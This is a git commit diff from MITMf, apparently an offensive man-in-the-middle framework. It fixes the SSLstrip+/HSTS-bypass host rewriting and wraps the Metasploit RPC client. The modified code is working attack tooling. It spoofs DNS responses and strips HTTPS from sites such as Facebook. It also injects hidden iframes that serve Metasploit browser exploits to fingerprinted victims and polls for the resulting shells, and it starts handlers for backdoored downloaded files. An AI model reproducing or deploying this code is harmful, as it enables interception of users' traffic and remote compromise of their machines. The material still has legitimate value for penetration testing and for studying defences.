Fixed a bug in SSLstrip+ code, when redirecting to certain sites

Created a wrapper class around Msfrpc to limit code re-use when interacting with msf
This commit is contained in:
byt3bl33d3r 2015-05-19 00:00:40 +02:00
parent b9371f7cdc
commit 563a8d37c1
10 changed files with 141 additions and 126 deletions

View file

@ -71,7 +71,7 @@ class DNSHandler():
d = DNSRecord.parse(data)
except Exception, e:
dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0]))
dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
else:
# Only Process DNS Queries
@ -115,7 +115,7 @@ class DNSHandler():
# Create a custom response to the query
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
# IPv6 needs additional work before inclusion:
if qtype == "AAAA":
@ -184,7 +184,7 @@ class DNSHandler():
response = response.pack()
elif qtype == "*" and not None in fake_records.values():
dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
@ -259,7 +259,7 @@ class DNSHandler():
# Proxy the request
else:
dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
nameserver_tuple = random.choice(nameservers).split('#')
response = self.proxyrequest(data, *nameserver_tuple)
@ -339,13 +339,13 @@ class DNSHandler():
sock.close()
except Exception, e:
dnschef_logger.warning("could not proxy request: {}".format(e))
dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e))
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):

View file

@ -24,6 +24,9 @@ import msgpack
import logging
import requests
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
class Msfrpc:
@ -84,6 +87,55 @@ class Msfrpc:
except:
raise self.MsfAuthError("MsfRPC: Authentication failed")
class Msf:
'''
This is just a wrapper around the Msfrpc class,
prevents a lot of code re-use throught the framework
'''
def __init__(self):
try:
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']})
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
except Exception as e:
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
def version(self):
return self.msf.call('core.version')['version']
def jobs(self):
return self.msf.call('job.list')
def jobinfo(self, pid):
return self.msf.call('job.info', [pid])
def killjob(self, pid):
return self.msf.call('job.kill', [pid])
def findpid(self, name):
jobs = self.jobs()
for pid, jobname in jobs.iteritems():
if name in jobname:
return pid
return None
def sessions(self):
return self.msf.call('session.list')
def sessionsfrompeer(self, peer):
sessions = self.sessions()
for n, v in sessions.iteritems():
if peer in v['tunnel_peer']:
return n
return None
def sendcommand(self, cmd):
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options

View file

@ -69,7 +69,7 @@ class ClientRequest(Request):
if self.hsts:
if 'referer' in headers:
real = self.urlMonitor.getHstsConfig()[0]
real = self.urlMonitor.real
if len(real) > 0:
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
@ -120,7 +120,7 @@ class ClientRequest(Request):
client = self.getClientIP()
path = self.getPathFromUri()
url = 'http://' + host + path
self.uri = url # set URI to absolute
self.uri = url # set URI to absolute
if self.content:
self.content.seek(0,0)
@ -129,8 +129,8 @@ class ClientRequest(Request):
if self.hsts:
host = self.urlMonitor.URLgetRealHost(str(host))
real = self.urlMonitor.getHstsConfig()[0]
host = self.urlMonitor.URLgetRealHost(str(host))
real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict
url = 'http://' + host + path
self.uri = url # set URI to absolute

View file

@ -16,7 +16,9 @@
# USA
#
import logging, re, string
import logging
import re
import string
from ServerConnection import ServerConnection
from URLMonitor import URLMonitor
@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection):
if v[:7].lower()==' domain':
dominio=v.split("=")[1]
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.getHstsConfig()[1]
real = self.urlMonitor.real
if dominio in real:
v=" Domain=%s"%real[dominio]
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)

View file

@ -105,7 +105,13 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
try:
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
except KeyError as e:
mitmf_logger.debug("[ServerConnection] Client didn't send UA with request")
self.clientInfo = None
pass
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@ -214,9 +220,7 @@ class ServerConnection(HTTPClient):
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
sustitucion[url] = nuevaurl
#data.replace(url,nuevaurl)
#data = self.urlMonitor.DataReemplazo(data)
if len(sustitucion)>0:
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)

View file

@ -32,6 +32,8 @@ class URLMonitor:
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
_instance = None
sustitucion = dict()
real = dict()
patchDict = {
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
@ -107,23 +109,24 @@ class URLMonitor:
port = 443
if self.hsts:
if not self.getHstsConfig[1].has_key(host):
self.updateHstsConfig()
if not self.sustitucion.has_key(host):
lhost = host[:4]
if lhost=="www.":
self.getHstsConfig[1][host] = "w"+host
self.getHstsConfig[0]["w"+host] = host
self.sustitucion[host] = "w"+host
self.real["w"+host] = host
else:
self.getHstsConfig[1][host] = "web"+host
self.getHstsConfig[0]["web"+host] = host
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host]))
self.sustitucion[host] = "web"+host
self.real["web"+host] = host
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
url = 'http://' + host + path
#mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port)
return 'http://'+ self.getHstsConfig[1][host] + path
return 'http://'+ self.sustitucion[host] + path
else:
url = method + host + path
@ -134,15 +137,10 @@ class URLMonitor:
def setFaviconSpoofing(self, faviconSpoofing):
self.faviconSpoofing = faviconSpoofing
def getHstsConfig(self):
sustitucion = dict()
real = dict()
for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']:
sustitucion[k] = v
real[v] = k
return (real, sustitucion)
def updateHstsConfig(self):
for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems():
self.sustitucion[k] = v
self.real[v] = k
def setHstsBypass(self):
self.hsts = True
@ -158,10 +156,12 @@ class URLMonitor:
def URLgetRealHost(self, host):
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
if self.getHstsConfig()[0].has_key(host):
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host]))
return self.getHstsConfig()[0][host]
self.updateHstsConfig()
if self.real.has_key(host):
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
return self.real[host]
else:
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))

View file

@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin):
self.html_payload = self.get_payload()
def post2dict(self, post): #converts the ajax post to a dic
dict = {}
d = dict()
for line in post.split('&'):
t = line.split('=')
dict[t[0]] = t[1]
return dict
d[t[0]] = t[1]
return d
def clientRequest(self, request):
#Handle the plugin output
@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin):
def get_payload(self):
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
return '<script type="text/javascript">\n' + plugindetect + '\n</script>'
return '<script type="text/javascript">' + plugindetect + '</script>'

View file

@ -23,7 +23,7 @@ import random
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.msfrpc import Msf
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin):
self.msfip = SystemConfig.getIP(options.interface)
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
msfcfg = self.config['MITMf']['Metasploit']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
try:
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', self.rpcpass)
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
msfversion = Msf().version()
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
def startThread(self, options):
self.snipe()
@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
Msf().sendcommand(cmd)
return (rand_url, rand_port)
@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (java in details['PluginVersions']):
if (flash is not None) and (flash in details['PluginVersions']):
exploits.append(exploit)
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin):
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
#probably a much cleaner way of doing this :/
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
exit_loop = False
poll_n = 1
while poll_n <= 30:
if exit_loop is True:
break
sessions = self.msf.call('session.list')
if sessions:
for k, v in sessions.iteritems():
if ip in sessions[k]['tunnel_peer']:
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit_loop = True
break
msf = Msf()
while poll_n != 30:
if msf.sessionsfrompeer(ip):
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
return
poll_n += 1
sleep(2)
if exit_loop is False: #We didn't get a shell :(
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def snipe(self):
@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin):
elif exploits and (vic_ip not in self.sploited_ips):
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
inject_payload = ''
msf = Msf()
for exploit in exploits:
jobs = self.msf.call('job.list') #get running jobs
if jobs:
for pid, name in jobs.iteritems():
info = self.msf.call('job.info', [pid])
if (exploit in info['name']):
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
pid = msf.findpid(exploit)
if pid:
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
self.injectAndPoll(vic_ip, inject_payload)
sleep(1)

View file

@ -68,7 +68,7 @@ import multiprocessing
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
from core.msfrpc import Msf
from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
@ -126,26 +126,15 @@ class FilePwn(Plugin):
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
#Metasploit options
msfcfg = self.config['MITMf']['Metasploit']
rpcip = msfcfg['rpcip']
rpcpass = msfcfg['rpcpass']
msfversion = Msf().version()
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
try:
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
msf.login('msf', rpcpass)
version = msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
t.setDaemon(True)
t.start()
except Exception:
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
t = threading.Thread(name='setupMSF', target=self.setupMSF)
t.setDaemon(True)
t.start()
def setupMSF(self, msf):
jobs = msf.call('job.list')
def setupMSF(self):
msf = Msf()
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
@ -154,21 +143,16 @@ class FilePwn(Plugin):
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
if jobs:
for pid, name in jobs.iteritems():
info = msf.call('job.info', [pid])
if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
#Create a virtual console
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
msf.call('console.write', [c_id, cmd])
pid = msf.findpid('multi/handler')
if pid:
info = msf.jobinfo(pid)
if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']):
msf.killjob(pid)
msf.sendcommand(cmd)
else:
msf.sendcommand(cmd)
else:
#Create a virtual console
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
msf.call('console.write', [c_id, cmd])
msf.sendcommand(cmd)
def onConfigChange(self):
self.initialize(self.options)

View file

@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin):
has_opts = True
def initialize(self, options):
self.interval = options.interval
self.interval = 10 or options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin):
return '<script type="text/javascript">' + canvas + '</script>'
def pluginOptions(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)")